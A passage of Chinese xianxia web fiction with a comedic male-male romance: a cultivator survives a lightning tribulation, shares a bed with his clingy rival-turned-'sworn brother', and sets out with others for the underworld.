剑修……怕御剑?? 偏偏云梧不知何时练就了一身扯谎却脸不红心不跳的本事,宴焱的目光投射而来, 他眼睛却眨都不眨, 继续道: “焱焱这么有责任心, 还特别会关心兄弟,一定不会放任我不管吧。” 一张口就是两顶高帽给宴焱戴上,归墟秘境一行, 云梧的确学了不少,这会儿他可是牢牢抓住了宴焱吃软不吃硬的脾气,扮作弱势得心应手,称得上一句天赋卓绝。 叫宴焱答应也不是,不答应也不是,只得咬着牙,转过头,任由云梧把着他的腰,身体僵直。 所幸路途不远,箐云剑就算有意放慢速度,时间也很快就溜走。 宴焱所有身家都带在身上,也没有洞府,所以只好跟着云梧呆在了他的洞府。 一下剑,入了洞府,宴焱就眼疾手快的和云梧拉开一段距离,正色道: “云兄,既然已经到了,我觉得我们这几日还是不要过多的黏在一起,省的、省的……” 宴焱本想随便找个理由,但绞尽脑汁,却发现自己居然半会儿找不到一个好理由让云梧收手。 果不其然,云梧一听这话,下一秒就不乐意了,但他也不直说,反而是学聪明了,用宴焱先前的说辞来辩驳: “焱焱,可你之前不是说好兄弟就要一直待在一起吗,难道出了秘境你就不拿我当好兄弟了吗?” 一面说着,云梧一面还貌似苦痛的按了按自己左肩,轻轻‘嘶’了几声。 “焱焱,坏了,我的伤还没痊愈,方才一用力,好像又要裂开了。” 宴焱的目光循着云梧按着的地方,嘴角轻轻抽了抽。 “云兄,你伤的是右肩。” 话音刚落,云梧佝着身子,手又往右挪了一寸,好像无事发生一样,又睁着眼睛,脸不红心不跳的继续道: “诶呀,右肩也好疼。” 宴焱:…… 他真没空陪云梧闹了。 先前在归墟秘境中积攒的灵气蓬勃而发,一直在倒逼着他突破境界。况且系统在半个时辰之前,因溯世镜颁发的进阶奖励还没使用,宴焱干脆就原地坐下,闭上眼,盘起了腿,不理云梧。 不听不听王八念经。 积压的灵力一经过调用,便蓬勃开始流动,冲击着摇摇欲坠的灵力壁垒。 云梧见宴焱开始修炼了,也就只好收起了伪装的痛苦模样,盘坐一旁,替宴焱护法。 灵力奔流着,迅速冲击着内壁,宴焱凝神,将灵气细心的引导至细脉,缓缓拓宽着主脉的宽度,与此同时,丹田处也隐隐松动。 要突破了!! 与此同时,一道闷雷忽地滚过天际! 雷声低沉,犹如地龙咆哮,叫人打心眼里发颤。 这一次的越境界没有了上一回的宽松,反而还有加重的趋势。 宴焱猛地睁开眼,凝眉,迅速起身,狠狠一抽手中骨鞭,快步走出了云梧的洞府。 却见天上集结了一层厚重的雷云,隐隐有紫光从中闪现。不像是金丹期的渡劫雷,倒像是化神期的了。 这天道老儿……又开始抽风了。 宴焱眉头皱紧。 远方刮来呼啸的风,它们狂呼着,就要不留情面的摧毁峰上的建筑。 但火翎峰终究是剑修常年居住的地方,所有的植物建筑都非常抗打,自然不会有什么大事,顶多被刮掉几颗大树,来年再种就是。 云梧见此情形,也顿觉不妙。 筑基期的雷云顶多覆盖一个山头,可这雷云不仅仅厚度大,而且覆盖了一连五个山头,明显不对劲。 他连忙跟上,箐云剑抽出,焦急地对着宴焱大声道: “焱焱,你就安心在此地渡劫,我会为你护法的!” 宴焱回过头,看了眼云梧,又看了眼云梧话语落尽后,就越发狂躁的雷劫,皱了皱眉。 恐怕还是他和云梧走得太近的原因。 果不其然,那雷云又恶狠狠的发出一声震颤,紫光蓄力,隐约要形成一道毁天灭地的雷劫! 系统胆小,怕雷,这会儿屁滚尿流的从暗处跑出来,扯着宴焱的衣袍就往外拽,一边拽,一边还哭哭啼啼: “宿主啊宿主,我早和你说不要和云梧一起玩了。你看看,天道又生气了,你们气运会相斥的呀,还是快跑,快跑啊!” 宴焱被系统哭的心烦。系统往外拽他,他就偏要往里走,一边走,还一边说: “那又如何,天道生气了,它还能劈死我不成?” 系统哭噎着,惊慌失措:“宿主,你说的什么话。你要是被劈死了,云梧不就合理上位了吗??” 它话音落尽,宴焱忽地略一挑眉,手中骨鞭冲着天幕挑衅的一扬,嘴角提起一抹笑。 “哦,是吗?” 天雷明显被激怒了,雷云翻滚着,怒吼着,眼见着要蓄力,马上就降下一道粗壮的雷柱!! 但下一秒,宴焱忽地转头,冲着云梧问道: “不求同年同月同日生,但求同年同月同日死的诺言,云兄可还承认?” “云兄可要想清楚了再答复,今天这雷不像善茬啊,没准儿我就要被劈死在这了。” 峰间呼啸的风扬起宴焱鬓角的法,勾过他的侧脸,勾过他颤动的长睫,那双凤眸亮亮,眼里含笑,就好像不是再说自己的死亡,而是在交代什么无足轻重的玩笑。 云梧被他忽如其来的话问得心头一跳,但很快反应过来,抬头望了眼天上密集的雷云,又低头,眼眶迅速发红,道: “焱焱,你放心,你要是出了什么事,我肯定也不活了,我就,我就马上在你旁边自戕!” 云梧这话说的铿锵有力,字字珍重,只是尾音发颤,分明被吓得不轻。 系统被宴焱这没来由的问话弄得一愣。 “宿主你忽然问这个做什么,云梧他要死就死,就算他死了也没办法挽回您的生……” 可云梧话音落下没多久,原先还气势汹汹的雷劫登时就气弱了下去,雷声大,下一秒劈下的雷细得可笑。 它在宴焱的头顶上徘徊了一阵,甚至连宴焱的一根头发都没敢劈,只是雷声一声比一声大,好像在发泄着什么怨气,但没过一炷香的功夫,它就灰溜溜的散去了。 系统本来都害怕的闭上了眼睛,这会儿虚虚的睁开一道眼睛缝,确认了一下它亲爱的宿主还活着,才敢全然睁开眼。 却见它尊敬英明神武高深莫测的宿主背着手,连骨鞭都没抽出,就这么轻轻松松的过了雷劫。 系统:…… 不愧是龙傲天,此等手段恐怖如斯! 它怎么没想到呢,若是一个天命之子死了有另一个天命之子顶班,但若是两个天命之子都死了,整个世界都会崩塌,天道自然也没命了。 云梧虽然搞不明白天雷聚了又散的操作,但他也顾不上想太多,三步并作两步的上前,扣住宴焱的肩头,将他扭过来,正对着自己,上上下下的打量,生怕哪里出了问题。 但云梧看了又看,确认宴焱竟然连头发丝都没乱,这才猛地松了口气。 宴焱倒是不见一点儿刚刚度过雷劫的心有余悸,反而是一脸放松,拍了拍云梧的肩,道: “多谢云兄了。” 云梧却忽然一伸手,二话不说把宴焱拢入怀里,声音又开始闷闷的: “焱焱,以后不要乱说什么死不死的,不要说,我害怕。” 他刚才真是吓着了。宴焱一个人那么孤单的站在雷劫之下,头顶这毁天灭地的雷劫,居然还有心思朝着自己笑,嘴里轻佻的把自己的死亡当作玩笑讲,听得云梧害怕得心头直抖。 “不管怎么样,你都要好好的,一定要好好的……” 云梧说话,越说越抖,胸腔也在颤,宴焱被他搂得很紧,自然也能察觉到他飞快跳动的心脏。 宴焱被云梧抱的喘不过气,只好抬起手,一下又一下,安抚着云梧的肩头。 可宴焱的安抚没能让云梧放下心中的害怕,反而愈演愈烈。 宴焱只感觉肩头又是一重,原来是云梧把脑袋搭了上来,下一秒,几滴湿濡就这么猝不及防的坠落而下。 宴焱安抚的动作一顿,错愕的抬起眼。 为什么又哭了…… 第60章 社会主义兄弟情 云梧佝着背, 以便把脑栖在宴焱的肩头,这是一个他早已熟练做过多次的动作。可无论做了多少回,都能让宴焱骤然失声。 泪水蜻蜓点水的落了几滴, 像是被逼急了, 滚落在肩头。 宴焱没办法, 只好连声答应:“好好好, 云兄我答应你,我以后不会说这类的话了。” 岂料宴焱说完,云梧手下搂得更紧, 得寸进尺, 又闷闷道: “那焱焱,你是不是还防着我,不肯信我?” 宴焱略一愣,没料到云梧会忽然把话题转移到这儿来。 他张口就是否认:“云兄你怎么会这么说呢,我明明……” 宴焱的话还未说完,云梧却开口, 截住了他的话: “可你分明在秘境中瞒了我什么。我看得清楚, 焱焱休想赖账。” 云梧难得的强硬, 手下更是收紧,不让宴焱趁机逃了。 峰内一片寂静, 除却雷声散去后微小的风声,也便只剩下云梧絮絮叨叨的念, 宴焱听着, 一开始还没反应过来, 但云梧念的多了,宴焱也就明白他在纠结什么。 不得不说,云梧虽然是个五大三粗的剑修, 但心思缜密得可怕。 宴焱那么细微的停顿却被他一直记到了现在。 这会儿情绪爆发,云梧也就一股脑的把心底积压的问题说了出来,一面说着,一面把头越钻越里边,高挺鼻梁蹭着宴焱的脖颈,长睫扇动,是细密的痒。 宴焱受不住云梧的磨,只好松了口: “我说,我说。你别磨了,真的痒。” 云梧听话的抬起了头,泪花半干,可怜兮兮的盯着宴焱的唇瞧,不放过里面吐出的任何一个字眼。 “我先前确实和问心尊者私下见过一面,他想投靠我,甚至要卖出你的弱点。” 宴焱一面说着,一面仰头看着云梧的面色。 见云梧听到‘问心尊者要投靠他’等字眼时,没露出什么其他表情,只是略微眨了眨眼,宴焱也就放心的继续说了下去。 “他甚至以我们气运相斥作要胁,但我回绝了他的要求。” 云梧一个字一个词的听完,乌色的瞳仁澄净,映着宴焱的脸,忽地开口: “所以焱焱,你心里还是把我当宿敌,还是没有完全放下戒心,是吗?” 他紧盯着宴焱的表情,不肯放过任何一丝细微的变动。 宴焱被他直白的话语问得一愣又一愣。 这个问题他倒是已经很久没有深想过了。 先前系统提起他们‘宿敌’的关系时,宴焱也只是回避,如今被云梧直率的说出,宴焱一时间也不知如何作答。 他将云梧当作兄弟,但他自己真的对云梧一点儿戒心也没有了吗? 宴焱一瞬的迟疑被云梧敏锐的捕捉到,下一秒,云梧的眉眼很快就耷拉了下来,左手不着痕迹的狠狠拧了一把自己的大腿,眼眶发红: “果然,焱焱还是不信任我,说什么兄弟,都是骗人的。这种小事都不肯告诉我,难道是觉得我会因此和焱焱有间隙吗……” 一面说着,云梧一面调整着角度,微微撇过头,露出自己最完美的那一半侧脸。 “焱焱,既然如此,下一次若是我再受伤你也不用管着我了,让我痛着就好,反正我和焱焱气运相斥,说不准最后只能留一个,既然如此,我就早点死了,省的让焱焱烦心……” 云梧这么说着,还搭配了轻轻抽噎,俨然是一副心死的模样。 这一套组合拳云梧打得熟练,偏偏宴焱每次都能上钩。 况且方才焱焱还一脸心软的望着他,这一次也定能乖乖应他的话,说不准结束之后,自个还能再借着这个由头,再拉近拉近距离呢。 云梧的想法倒是天衣无缝,还以退为进,往后走了一步,好像真要就此和宴焱拉开距离,去自寻短处…… 就在云梧自觉火候到了,脚下动作一顿,悄悄转过一寸头,满怀希冀的抬眼,期望能听见宴焱的挽留。 可下一瞬,云梧的嘴角隐秘的笑却僵住了。 却见宴焱低垂着头,脸上哪里有云梧想象中的心软?? 分明是一副被云梧说中了的模样——满脸的迟疑和心虚,盯着他自己的脚尖,半晌不说话。 云梧的心顿时凉了半截。 他也顾不上自己的节奏了,瞬间转回身,刚刚还要松不松的手瞬间把住宴焱的手腕,另一只手扣住腰,急切道: “焱焱,你真的是这样想的吗?!!” 系统从角落里手脚并用的爬出来,它本来在云梧和宴焱抱住之后就一直躲在角落里画圈圈,这会儿一听云梧的话,顿时从角落里窜了出来,扯着宴焱的衣服角,嚷道: “宿主啊宿主,云梧说的对啊,他有这想法你就让他去吧,反正损失的也不是我们,你不要放过这个好机会……” 系统的话茬一打开就止不住,絮絮叨叨的,宴焱听得太阳穴一跳一跳,咬着牙。 他本来就在心烦云梧提出的问题,系统这么一打岔,心中更是心烦意乱。 偏偏他在云梧面前,不好直接抬脚将系统再踹回去,眉眼间不自觉压低,显然是烦了。 云梧一直在观察着宴焱的面色,一瞧见宴焱压眉抿唇,心更是凉成了一截一截的。 焱焱嫌他烦了!! 焱焱居然嫌他烦了!! 这样的认知一下冲击了云梧的大脑,微红眼眶也开始氤氲泪水,这下不是装的了,是真慌了。 “焱焱……” 云梧的唇都要哆嗦了。 “你果然嫌弃我了,你果然嫌弃我了。” 他像游魂似的念了两遍,又猛然抬起头。 光照在云梧的脸上,映出蜿蜒的泪痕。他双眼无神的飘忽着,嘴里的话也打着飘,一边说,一边就要垂下头: “你方才还说我们是好兄弟呢,果然……就让我死了好了,要是有难,焱焱你也不必救我,就让我死了好了,反正我也没人爱……” 宴焱一听这话,也没想太多,反射性的先回了句: “云兄,天下明明有那么多崇拜你的,何故这么说……” 宴焱不说还好,一说,云梧胸膛起伏,越发激动了,扣着宴焱的力道越重。 “焱焱你是承认你不喜欢我了?那就算天下人都喜欢我又怎样,焱焱不喜欢,我就活不下去了,我就是没人爱了……” “我就是个没人爱的。” 云梧明明长了张冷脸,可如今,深邃的眉眼都耷拉着,颗颗泪水不要钱的掉下,哪有一点少宗主的威风样?怕是宴焱再说什么重话,他真要干出偏激的事了。 宴焱被云梧这么一番操作下来,刚刚想的话全都抛在脑后了。 兄弟、兄弟你怎么又哭了…… 宴焱挠了挠头。 于是他只得僵硬的抬起手,勾住云梧的脖子。又试探性的往前走,把自己塞到了云梧的怀里。 属于宴焱柔韧、又不失力量感的身躯就这么主动的贴了上来。 竹香满怀,是熟悉的拥抱。 云梧的眼泪一滞。 宴焱雪白的臂弯内侧贴着云梧的脖,肌肤白而细嫩,轻轻的贴合、滑动,泛起酥痒。 怀里的人并不羸弱,但骨架就天生比云梧小了一圈,该有肉的地方丰腴,但清瘦的腰却也能一把握住。 宴焱轻抬起头,犹豫了半会儿找不到词。 这也不怪他,宴焱24k纯直男。大老爷们哪懂什么哄不哄人的,最后一咬牙,心想着既然已经把云梧当作是兄弟,干脆就把一切说开。 “其实我之前的确是把你当作宿敌看,问心尊者算的那卦我听进去了,也相信天道不想让我们共存,所以才对你留有防备。” “但我以后不会了,我既然说了要把你当兄弟,那我就要兑现承诺,不防着兄弟!” “管他天道不天道的!!” 宴焱说到最后,眼神逐渐坚定,也不管他们之间的姿势有多么暧昧了,就差着下一秒拉着云梧去拜把子了! 云梧正被宴焱迷得不知天地为何物,恨不得让他们相拥的时间再慢一点,再慢一点。 可怀里的宴焱却越说越慷慨激昂,还忽然和他拉出一段距离,激昂道: “云兄!!兄弟并肩,肝胆相照!一生情,一世兄弟,不离不弃!” 云梧这才恍惚睁开眼,对上宴焱坚定似铁的目光。 那眼神是如此的清澈刚毅,倒显得云梧满脑子飞过的画面污浊不堪了。 好一个纯洁无暇值得歌颂的社会主义兄弟情!! 但云梧早就不是原来的云梧了。 就见他抬手,自然的回抱住宴焱,游刃有余的接过宴焱的话: “是啊,焱焱,我们是最好的兄弟。” 他这么一本正经的说着,可搂着焱焱的手再往下一寸,就能轻松的勾住腰带,或是抚到挺翘的臀。 “那焱焱……既然我们是好兄弟,那这一两天我们就一起肩并肩睡好不好?反正都是男修,没什么的。” 云梧唇角提着笑。 宴焱嘴里慷慨激昂的陈词忽地顿住,勾住云梧的手也松了松。 云兄这话好像都是从他这儿学来的,分毫不差。 但,为什么从云兄口里说出来这话,听起来就这么怪呢……【你现在阅读的是 】 60-70 第61章 结契 云梧这么说着, 压根没给宴焱细想的时间,搂着腰,就这么水到渠成的把人往洞府里带。 宴焱一路跟着云梧的步伐走, 虽然面露迟疑, 但还是乖乖的让他扣腰搂肩, 就这么稀里糊涂的往床上躺下了。 等到臀尖触碰到柔软的塌, 宴焱才反应过来似的,往旁边躲了点距离。 “云兄,我还是觉得我们可以分开睡……” 宴焱斟酌。 他记得他一进来就和云梧说过这话吧……敢情云梧一点儿也没听? 或者, 云梧是听了的, 但硬是要装作一脸才知道的模样。 宴焱此话一出,云梧自然不肯依,还是那套说辞,搬出来要赌宴焱的嘴: “可是焱焱,你之前在归墟秘境和我同吃同睡的时候可不是这样说的,好兄弟就要吃住同行, 你怎么能自己说过的话都不记得呢……” 云梧一脸真挚, 况且泪痕未干, 一脸示弱的模样。 宴焱只得张了张嘴,又张了张嘴, 末了颓然闭上,说不出一句重话。 什么叫做搬起石头砸自己的脚? 这就叫搬起石头砸自己脚! 宴焱隐约觉得奇怪, 但还是耐不住云梧软磨硬泡, 眼看自己就要被剥了个干净, 宴焱连忙出声: “云兄,不然我还是打坐吧……” 宴焱的手拉着自己的衣领,再轻轻一滑, 那雪白的肩头就要溜了出来。 但云梧藏得倒是好,面上不显,反而一脸正经: “焱焱,入了冥界之后就很难有这样安心小憩的时候了,虽说修士不用睡眠,但适当的休息还是必要的,况且你雷劫刚过,若是深睡一觉对你更有益处。” 云梧说的话条理清楚,脸上也真挚无比,叫宴焱一时间也说不出什么反驳的话来。 他只好低下头,看着自己衣带上搭着的那只手,又顿了顿,道: “那云兄你……可不可以别把我衣服全扒了。” 宴焱扭了扭腰,小声解释: “总觉得怪怪的。” 他说完这话,被自己吓了一跳,立马暗暗唾弃了一番自己扭捏的模样。 都是男修,按道理说,赤忱相待也没什么,可自己居然会觉得和云兄共处一室还脱得精光是件怪事!怎么变得和那些男同一样了?? 自己以前也不这样啊!! 果真是被那群男同带坏了!! 宴焱暗自给自己找借口。 一听宴焱这话,云梧手下揭衣服的手一顿,眼看着就要收回,只是面上一脸无辜,眼皮轻轻眨了眨,好像对宴焱说出这样的话颇为震惊: “焱焱你怎么会突然介意这个呢??” “你不会觉得我是、我是那种人吧……” 云梧说完这话,好似遭受了什么天大的委屈一样,就要垂下头,眼眶唰的红了。 宴焱真是怕了云梧这模样,赶忙解释: “不是的云兄,我怎么会觉得你是断袖呢?我肯定没有这个想法的,你不要多想……是我考虑不周了。” 宴焱一面说着,一面咬牙,为了不让兄弟心里有疙瘩,干脆利落的把自己的衣裳全扒了。 自己扒衣服扒得倒是干脆彻底,就留了一处贴身的亵裤,光着膀子,一脸正气的望向了云梧。 那眼神,仿若在说:兄弟你看!我多有诚意!! 云梧喉头一滚。 眼前的美景是他做梦也要反复品尝的。宴焱不算瘦,丰腴之处果断的隆起,雪肌乌发,蜿蜒着披散而下。 云梧的视线拼尽全力的往旁边瞥,只觉得脑子一片轰隆隆。 却见宴焱盘起了两条雪白的腿,坐在床榻之上,他伸手,戳了戳云梧的胸肌,强撑着,抬了抬下巴: “云兄,该你了。” 床不大不小,刚好能够让两个成年男修靠着睡,云梧和宴焱贴的很近,于是宴焱说话的时候卷起的微小气流也能被修士敏锐的捕捉到,一呼一吸,带着香,让云梧的脑子再度一片空白。 好一会儿,他才晃过了神,虚虚的嗯了一声,也学着宴焱的模样,把自己的上衣扒了。 宴焱一会儿看看云梧,一会儿看看自己,满意的点了点头。 方才果然是自己被断袖荼毒了,他和好兄弟如此坦诚,哪里会是搞男同这样骇人的事情? 天色不早,火翎峰头也渐渐暗沉,洞府外的琐碎的声音也消了下去。 二人都光着膀子,四目相对。 不知为何,方才消下去的怪异感又攀上了宴焱的脊背,叫他连忙撇过头,躺了下来,嘟囔道: “云兄,日头不早了,我们早点歇息吧。” 他侧着身,旁边的云梧也跟着侧身,火热的身躯若有若无的就贴了上来。 这下好了,叫宴焱怎么也睡不着,只能睁着眼,漫无目的的四处打量。 床榻靠窗,做的不大不小,刚刚好能容纳两个成年男修并肩睡着。云梧不喜铺张,主屋也做的不大,正对床还有一扇窗户,对着峰头高悬的月,柔软的月光透过窗户跳进屋子里,铺在二人的身上。 宴焱睡在靠床沿的那一边,只觉得云兄睡觉很不老实,越贴越近,很快的,胸肌就这么贴上了自己的后背,再往外挪就得掉下床,宴焱动弹不得,只能任由他贴。 云梧的怀太热,宴焱贴久了,就有点儿受不住,只得小声唤道: “云兄,云兄,能否往后靠点……” 岂料云梧居然还没睡着,闻言,闷闷的嗯了一声,就要往后挪。 但他一挪,手里带着宴焱的腰,两个人一起往后挪了,甚至因为挪动的间隙,二人贴得更紧。 宴焱:…… 算了。 他无奈的闭眼,忽地,又想要佐证什么一般,微微转过头,突然道: “云兄,此次冥界回来,我们去结契如何?” 云梧本来半阖着眸,闻言,心脏猛的一跳,睁开眼。 结契? 宴焱的红唇一张一合,说的头头是道,甚至还规划了结契的地点云云: “就选在火翎峰如何?我看峰下有处桃源,备一些香烛,果肉,挑个好时辰,一起结拜……” 宴焱畅想的详细,云梧垂眼,认真听着,只是那目光分明沉沉,落在宴焱的唇瓣上,过了良久,宴焱说的口干舌燥了,云梧这才提唇,忽地伸手扣住了宴焱的手。 “好啊,结拜之后,我们就是彼此唯一的好兄弟了。” 好兄弟三字,云梧念得极为重,笑眯眯的。 可二人贴的实在近,月色又柔软暧昧极了,叫宴焱一瞬间恍惚了下,仿若云梧说的不是好兄弟,而是旁的什么东西。 云梧一刻不停,一字一句,继续道: “好兄弟么,就要一生一起走,永结同心,白首不离。” 那双薄情眼沉得像潭,很深,宴焱同他对视时,好像下一秒就要被这深邃的目光吸进去了。 好、好怪。 宴焱略微动了动身,明明是他提起的话题,这会儿又想逃避了。垂下眼,就要扭过头,搪塞的嗯两声。 但云梧没给他机会,伸手,把人抱紧了。继续念: “再请高堂如何?天下人做个见证,若是焱焱同我结契,我定然不能亏待焱焱,会许给焱焱十里长的珍宝……” 云梧越说越多,越说宴焱越觉得不对头,低声嘟囔道: “就拜个把子而已,整的和结婚一样。” 但怎料说完这话,云梧就顿住了,过了一会儿,才轻声道: “是吗,焱焱也这样觉得?” 什么叫做‘也’?? 宴焱思维一顿。只觉得那股古怪越烧越旺。 难道云梧他也觉得像结婚,那为何、为何还要故意这么说? 宴焱只觉得背后贴着的身躯愈发热了,桎梏他的手也逃不开,静谧的夜被悄然打破了一角,叫他无端端觉得危险。 但宴焱不想深思,他只觉得若是再想下去,有什么东西就真的无法挽回了。 他只得装傻充愣,闭上眼,佯装疲累的深睡。 但修士的观察力何其敏锐? 云梧见宴焱忽地沉默了,唇角不着痕迹的提了提,也便半阖着眼,假寐,可脖颈微佝,和宴焱贴得很近。 二人都心知肚明对方没有睡着,但都默契的不再说话。 空气被拉得紧绷,只是月色依旧柔软。 这一夜过得相当漫长。 云梧一夜未眠,宴焱也没有合眼,天一亮,宴焱便立刻从塌上爬起,两人默契的就开始穿衣。 宴焱一直低着头不说话,云梧也懂事的没有戳破他的沉思。收着分寸,有意给宴焱腾出一点空间。 只是今天的箐云剑上,宴焱的动作明显收束许多,也有意无意的不让云梧靠着。 云梧倒是不急,张弛有度的道理他还是懂得的。 若是一下逼的太紧,焱焱被吓跑了怎么办? 箐云剑也察觉到主人的谋略,今天乖巧的没闹事,一路平缓的到了怀远剑尊交代的地方。 此次冥界之行,六界颇为重视,所以特地引了一处传送阵,可以直接越过两界山,跨进冥界。 各个宗门都到了一些精英,蜀山剑宗除却云梧,也还派了三青鸟等五六个弟子前去。 待到二人到达传送阵处时,赫然是怀远剑尊站在传送阵眼之上,他身旁站着几位仙界有名的大能,各自手中盘着符,面色凝重。 人群熙攘,都差不多来齐了,三青鸟也在其列。 她敏锐的一眯眼,一摸下巴,扫了二人一眼,点了点头。 不对劲,不对劲。 云梧倒是大大方方,下了剑,对着怀远剑尊一拜。宴焱和他拉出两步路的距离,紧随其后,冲着三青鸟点了点头。 三青鸟刚想凑上去打听打听,却听怀远剑尊忽地开口了。 原是怀远剑尊见二人都来了,捋了捋胡,开口便道: “诸位都是六界小辈的佼佼者,如今六界有难,本尊很是欣慰诸位能够站出来。” “冥界一行,前路难料,但还望各位能珍重!!” 第62章 焱焱想让我当断袖吗 时间紧迫, 一贯喜欢废话的怀远剑尊也没多交代什么事情,只是深深的又看了二人几眼。 待到约定的人都差不多来齐了,怀远剑尊也不再拖延, 手下符一拍, 灵力磅礴而出, 登时将符阵激活。 重重白光自怀远剑尊脚下一圈圈荡开, 在场的诸位大能也是一声低喝,一同注入了自己的灵力。 传送阵位于山脚的一块空地之上,此时掀起了滔天的飓风, 白色的漩涡席卷而上, 山腰处的护山大阵也应声而开—— 耀眼的白光之后,云梧抬起手,不着痕迹的将宴焱的手握紧。 这一次,宴焱的手不似之前那般大方的回扣,而是手指微蜷,侧过头, 不着痕迹的望了眼云梧, 随即很快低下头, 闭起眼。 传送阵法是诸位大能敲开魂灵符阵一角而强行生成,所以传送通道很不稳定, 气流湍急,在其中的时间也格外漫长。 前去冥界的小辈一共有二十人左右, 此时默契的拉着彼此的衣袖, 不至于在缝隙中走散。 嗅到熟悉的气味, 一直安分的藏在宴焱发丝间的溟探出了个脑袋,冲着外头嘶叫了几声。 很快,周遭的白光渐渐隐退。 宴焱睁开眼, 适应了会昏暗的光线,这才开始打量冥界的环境。 传送阵尽可能的将一行人送至往生河畔,以便让众人找寻到方向, 所以宴焱一睁眼,面前赫然就是一宽阔的河面,水波平缓,若不是上方没有任何一盏骨莲点缀,似乎和平常无异。 宴焱率先往前走了几步,观察着河面。 正如他们在归墟秘境里猜测的那样,往生河一改以前从下往上流的趋势,而是顺流而下。 以往,骨莲承载着生灵朝着上方的轮回之地涌去,而今往生河不再向上流,那些生灵自然也无法往生。 整条盘曲的河流在夜色中显得格外沉寂,一动不动的盘在原地,不复往日的璀璨热闹。 云梧紧随着宴焱,也一并走到了河道旁。 见二人一起往这走,三青鸟连忙跟上,隔了段距离。她正想开口问些什么,但宴焱却转过头,赶在她开口之前,率先问道: “三青道友,你可知道这段时间六界的情况如何吗?” 三青鸟被他问的一愣,连忙瞥眼,去看云梧的面色,讪讪道: “这个嘛,我师弟应该知道吧,我师叔之前或许同他交代过,你不如去问他……” 三青鸟说得委婉,分明是在看云梧的面色,就怕说错话,打破了二人之间微妙的平衡。 宴焱自然也察觉到了三青鸟的迟疑,立刻睨了云梧一眼。 云梧一直在留神着宴焱的动向,察觉到宴焱的一睨,便立刻出声道: “师姐,我师尊临行前也只是简单交代了几句,并未详细说,所以我也是一知半解。” 三青鸟一会儿看看宴焱,一会儿看看云梧,琢磨了一会儿,还是老实交代道: “其他界先不说,单单是仙界就剥了层皮。因为灵力波动大,所以出了好几次集体心魔爆发的事故。又有中型宗门被窜逃而过的魂灵屠杀,再是灵石矿也做了那魂灵的滋养品,被吸干了好几条主要的灵石矿。” “若说是严重到大厦将倾,那还是太过夸张了。但师尊和师叔他们一直在担心会长此以往会引起如同万年以前一样的灾祸,所以这些日子头发都愁秃了。” “至于其他几界嘛……”三青鸟思量片刻,道:“冥界如大家所见,魔界妖界各自爆发动乱,混沌界更不必说,本就是一片废墟,人界也起了瘟疫等灾祸。” 宴焱听完后略微颔首,若有所思。 只是三青鸟飞快的交代完,忽地一顿,眼神又落在了二人中间,迅速来回扫视了一番,露出了个宴焱看不懂的笑: “对了,小焱啊,你不介意我这么喊你吧?” 三青鸟忽地凑了上来,冲着宴焱挤了挤眼,一脸神秘的问: “你和我师弟……到底啥关系呀?” 宴焱不由得向后轻轻退了一步,一愣。 三青鸟此话一出,云梧的目光也若有若无的落到了宴焱的身上,竖起耳朵,分明在偷听着呢。 宴焱连忙道: “兄弟,好兄弟。” 像是在澄清什么一样,宴焱又着重强调道: “24k纯金的那种好兄弟!!” 谁知三青鸟一听宴焱这话,登时‘噗嗤’笑出了声,一面笑,一面还揶揄的扫了眼一旁矗立的云梧。 “好好好。那你俩还真是好感人的兄弟情啊!” 宴焱一顿,张了张唇,感觉好像被误会了什么,耳廓一红,又强调道:“真的!!” 说完这话,宴焱又觉得后悔了。 他最近这是怎么了,怀疑这怀疑那的,不仅感觉云兄怪怪的,连三青道友看他们俩的视线都好像也怪怪的。 这究竟是怎么回事!! 他们明明就是非常非常纯洁的兄弟! 眼见宴焱抿唇,像是真要纠结起来了,云梧忙是大步向前,大手一搂宴焱腰肢,一脸正经道: “师姐,你别逗他了,我们真的是好兄弟。” “彼此唯一的好兄弟。” 云梧补充道,说完,他还转过头,低头望向宴焱,手下轻轻晃了晃宴焱,轻声道:“你说对吧?焱焱。” 宴焱抬眼迅速瞥了眼他,又很快低下头,轻轻嘟囔着,胡乱‘嗯’了几声。 好兄弟就好兄弟,偏要加彼此唯一的限定词做什么…… 是嫌弃他们俩没有被误会成断袖吗? 被三青鸟这么一打岔,宴焱和云梧拉开一段距离的计划又被打破了。云梧顺理成章的粘到了宴焱身边,手亲昵的搂靠着肩头,朝着前方行去。 为了不惊动冥界生物,众人默契的没有采用法器,而是连夜步行赶路。 所幸传送阵距离鬼市并不遥远,他们被传送到的地方正好便是往生河的末端,估摸着走个一天一夜,也便能到鬼市。 宴焱在前走,云梧便紧随着他的脚步跟着走。 二人一前一后的,贴的很近,加上云梧将手那般亲昵的扣在宴焱肩头,叫宴焱挣脱不得,只能任由他搂着。 宴焱想快步走,不着痕迹的甩开云梧一道空隙,但谁知云梧是个没皮没脸的,明明宴焱不说话,不想让他搂的意思都那么明显了,云梧还是照样贴上了宴焱的身躯,把人又往里搂了搂。 几番尝试下来,宴焱也没了手段,咬了咬牙,只能暗恼。 他气,倒不是气云梧,是在气自己没来由的别扭。 本来云梧和自己都成了好兄弟了,天道也顾及二人结盟,不敢有所动作,应该是个好消息才对。 但是这几天的相处下来,却让宴焱越相处越觉得不对劲。初期的时候,还只是云梧贴近他时,他的脑海里会蹦出那该死的什么夙世缘孽的画面。 诸如二人乌发相缠,细翻红浪云云。 而后越相处着,就算云梧没贴着他,宴焱的脑子里也会蹦出那些画面来,叫他浑身都不舒服极了,心里的那个疙瘩越涨越大。 思即此,宴焱不由得又开始怨那些可恶的断袖了,特别是画那个该死的话本子的,更是要千刀万剐! 明明他和云兄的关系多么纯洁啊!就因为那个话本子,害得现在他、他都没办法好好和云兄相处了!! 宴焱想着,又抬眼,复杂的瞥了眼云梧。 云兄良善,也是察觉到了自己若有若无的远离,居然还这般包容,甚至还主动替自己解围,叫宴焱心里头更加过意不去了。 至于云梧表现出来的那点儿暧昧么…… 宴焱一咬牙,疯狂的便开始催眠自己。 定是自己多想了!! 云兄怎么可能会是,会是断袖呢??! 正当宴焱终于捋顺了思路,将一切重整,企图让自己脑中不合时宜的猜想消失,让二人的气氛回归正常。 可下一瞬,当云梧趁机将自己的另一只手也搭上了宴焱的腰,甚至还在暧昧的揉搓腰部软肉。他的吐息暧昧,粗壮的手臂之上青筋隆起,虎口结结实实的把着那一寸窄腰,又是暧昧的滑动了下。 宴焱只觉得自己方才才整理好的面部表情又皲裂了。 他完了,他已经不是当初那个纯粹的直男了! 他的思维已经被该死的断袖玷污了!! 趁着周遭人少,宴焱把云梧拽到了阴处的角落,转过身,抬头,望向云梧。 他张着唇,一张美人面上满是犹豫,顿了良久,终的,宴焱才略带迟疑的开口问道: 